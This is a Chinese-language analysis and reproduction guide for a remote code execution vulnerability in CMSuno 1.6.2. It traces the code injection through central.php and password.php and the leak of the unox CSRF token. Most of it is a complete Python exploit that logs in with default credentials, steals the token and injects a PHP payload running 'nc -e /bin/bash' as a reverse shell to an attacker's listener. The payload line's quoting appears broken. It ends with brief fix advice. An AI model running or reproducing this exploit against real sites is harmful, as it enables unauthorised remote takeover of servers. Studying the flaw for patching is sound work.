CMsuno1.6.2远程代码执行分析复现
字数 1391 2025-08-09 15:23:13
CMSuno 1.6.2 远程代码执行漏洞分析与复现指南
1. 漏洞概述
CMSuno 是法国开发者 Jacques Malgrange 开发的一款用于创建单页响应式网站的工具。在 1.6.2 版本中存在一个远程代码执行漏洞,攻击者可以利用该漏洞在目标系统上执行任意代码。
2. 漏洞原理分析
2.1 漏洞点分析
2.1.1 中央处理文件漏洞 (uno/central.php)
在 uno/central.php 文件的 case sauvePass 分支(约 269 行)存在以下问题:
- 273 行:
$a变量直接接收 POST 的user值,未经任何过滤 - 280 行:直接将接收到的值拼接进准备写入的 PHP 代码
- 在满足
else if条件后,直接将接收到的值写入password.php
2.1.2 认证文件包含漏洞 (uno.php)
在 uno.php 文件中:
- 36 行:对用户名、密码、
unox和$_SESSION进行非空判断 - 在用户名密码验证前直接包含了
password.php - 如果攻击者向
user传入恶意 PHP 代码并写入password.php,恶意代码将在包含时执行
2.1.3 CSRF 防护绕过问题
- 系统使用
unox值作为 CSRF 防护机制 - 初次访问
uno.php时(99 行)会随机生成unox值并存入$_SESSION['unox'] - 132 行:直接在 HTML 表单中输出
$unox - 登录成功后(93 行)会重新生成
unox值 edition.php24 行:同样在 JS 脚本中直接输出$unox- 这使得攻击者可以劫持
unox值,实现越级访问central.php
2.2 完整利用流程
- 访问
uno.php并正常登录 - 读取并劫持
edition.php中 JS 代码输出的unox值 - 携带
unox值向central.phpPOST 满足 279 行条件的值 - 向
uno.phpPOST 满足 33 行条件的值,触发password.php中的恶意代码
3. 漏洞复现步骤
3.1 准备工作
- 准备攻击机并获取其 IP 地址
- 在攻击机上开启监听(如使用 netcat)
3.2 使用 EXP 进行攻击
以下是修改后的 EXP 代码及说明:
import requests
from bs4 import BeautifulSoup
import lxml
import json
from time import sleep
# 默认用户名密码
username = 'cmsuno'
password = '654321'
root_url = 'http://192.168.127.128/cmsuno_1.6.2' # 网站根目录,不包含uno.php
# 接收shell地址
listener_ip = input("输入监听地址:")
listener_port = input("输入监听端口:")
login_url = root_url + "/uno.php"
vulnerable_url = root_url + "/uno/central.php"
session = requests.Session()
request = session.get(login_url)
# 获取页面输入框
soup = BeautifulSoup(request.text, "lxml")
unox = soup.find("input",{'name': 'unox'})['value']
print(unox)
# 执行正常登录,由于是脚本所以需要读取并携带unox
body = {"unox":unox, "user":username, "pass":password}
session.post(login_url, data=body)
request = session.get(login_url)
text = request.text
soup = BeautifulSoup(text, "lxml")
script = soup.findAll('script')[1].string
data = script.split("Unox='")[1]
unox = data.split("',")[0]
# exploit
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/90.0.2",
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Origin": login_url,
"Referer": login_url
}
payload = 'en";system(\'nc.traditional {} {} -e /bin/bash\').format(listener_ip,listener_port) # 注入PHP代码反弹shell
body = 'action=sauvePass&unox={}&user0={}&pass0={}&user={}&pass=654321&lang=en'.format(unox,username,password,payload)
session.post(vulnerable_url, data=(json.dumps(body)).replace("\\", "")[1:-1],headers=header)
# 再次执行登录以触发 password.php 执行恶意代码 由于是脚本所以需要读取并携带unox
session1 = requests.Session()
request1 = session1.get(login_url)
soup = BeautifulSoup(request1.text, "lxml")
unox = soup.find("input",{'name': 'unox'})['value']
# Login
sleep(3)
body = {"unox":unox, "user":username, "pass":password}
session1.post(login_url, data=body)
3.3 EXP 关键点说明
- 初始登录:首先模拟正常登录过程,获取并携带
unox值 - 获取新 unox:从登录后的页面 JS 代码中提取新的
unox值 - 构造恶意请求:
- 设置适当的 HTTP 头
- 构造包含恶意代码的 payload(使用 nc 反弹 shell)
- 将 payload 插入到
user参数中
- 触发漏洞:再次登录触发
password.php中的恶意代码执行
4. 漏洞修复方案
- 对所有用户输入进行严格的过滤和验证
- 改进 CSRF 防护机制,避免
unox值泄露 - 对写入文件的内容进行严格检查
- 使用最新版本的 CMSuno(该漏洞已在后续版本中修复)
5. 参考链接
- 漏洞修复信息:CMSuno 官方网站(请查看最新版本)
- 原始 EXP 作者:Fatih Çelik